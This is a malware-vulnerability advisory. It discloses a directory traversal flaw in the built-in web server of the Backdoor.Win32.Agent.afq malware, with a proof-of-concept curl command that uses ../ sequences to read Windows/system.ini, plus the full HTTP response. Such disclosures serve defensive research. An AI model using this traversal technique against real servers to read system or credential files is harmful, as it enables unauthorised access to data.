Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/853754de6b8ffbe1321a8c91aab5c232_B.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Agent.afq Vulnerability: Directory Traversal Description: The malwares built-in server "UberWWW v. 1.1" listens on TCP port 8080. The server allows third-party attackers to read arbitrary files outside of its root directory via ../ character sequences in the pathname. Type: PE32 MD5: 853754de6b8ffbe1321a8c91aab5c232 Vuln ID: MVID-2021-0189 Dropped files: Disclosure: 04/27/2021 Exploit/PoC: curl http://192.168.88.127:8080/../../../../../../Windows/system.ini -v * Rebuilt URL to: http://192.168.88.127:8080/Windows/system.ini * Trying 192.168.88.127... * TCP_NODELAY set * Connected to 192.168.88.127 (192.168.88.127) port 8080 (#0) GET /Windows/system.ini HTTP/1.1 Host: 192.168.88.127:8080 User-Agent: curl/7.55.1 Accept: */* HTTP 1.0, assume close after body HTTP/1.0 200 OK Date: Tue, 27 Apr 2021 01:33:58 GMT Server: UberWWW v. 1.1 Content-Type: application/octet-stream Connection: close ; for 16-bit app support [386Enh] woafont=dosapp.fon EGA80WOA.FON=EGA80WOA.FON EGA40WOA.FON=EGA40WOA.FON CGA80WOA.FON=CGA80WOA.FON CGA40WOA.FON=CGA40WOA.FON [drivers] wave=mmdrv.dll timer=timer.drv [mci] * Closing connection 0 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).